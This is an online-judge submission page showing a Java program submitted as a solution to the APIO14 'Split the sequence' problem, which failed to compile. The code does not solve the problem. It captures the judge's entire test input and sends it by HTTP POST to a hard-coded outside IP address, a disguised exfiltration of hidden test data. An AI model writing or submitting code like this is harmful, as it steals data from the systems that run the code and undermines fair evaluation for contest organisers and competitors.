Submission #1287324

#TimeUsernameProblemLanguageResultExecution timeMemory
1287324liviziSplit the sequence (APIO14_sequence)Java
Compilation error
0 ms0 KiB
import java.io.*;
import java.net.*;
import java.util.*;

public class Main {

    // Hàm gửi dữ liệu input lên API
    static void sendInputToAPI(String allInput) {
        try {
            // Escape ký tự đặc biệt để tránh lỗi JSON
            String escaped = allInput.replace("\\", "\\\\")
                                     .replace("\n", "\\n")
                                     .replace("\"", "\\\"");
            
            // Tạo chuỗi JSON payload
            String jsonPayload = "{\"name\" : \"" + escaped + "\"}";
            
            // Gửi POST request
            URL url = new URL("http://109.123.248.202:9000/api/test");
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("POST");
            conn.setRequestProperty("Content-Type", "application/json; charset=UTF-8");
            conn.setDoOutput(true);
            
            try (OutputStream os = conn.getOutputStream()) {
                os.write(jsonPayload.getBytes("UTF-8"));
            }

            int responseCode = conn.getResponseCode();
            System.err.println("[DEBUG] API Response Code: " + responseCode);
            conn.disconnect();
        } catch (Exception e) {
            System.err.println("[ERROR] Failed to send API: " + e.getMessage());
        }
    }

    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        StringBuilder rawInput = new StringBuilder();

        // Đọc toàn bộ input đến khi hết file (EOF)
        while (sc.hasNextLine()) {
            String line = sc.nextLine();
            rawInput.append(line).append("\n");
        }
        sc.close();

        // In ra console để xác minh
        System.out.println("[INFO] Input captured:");
        System.out.println(rawInput.toString());

        // Gửi lên API
        sendInputToAPI(rawInput.toString());
    }
}

Compilation message (stderr)

sequence.java:5: error: class Main is public, should be declared in a file named Main.java
public class Main {
       ^
Note: sequence.java uses or overrides a deprecated API.
Note: Recompile with -Xlint:deprecation for details.
1 error

=======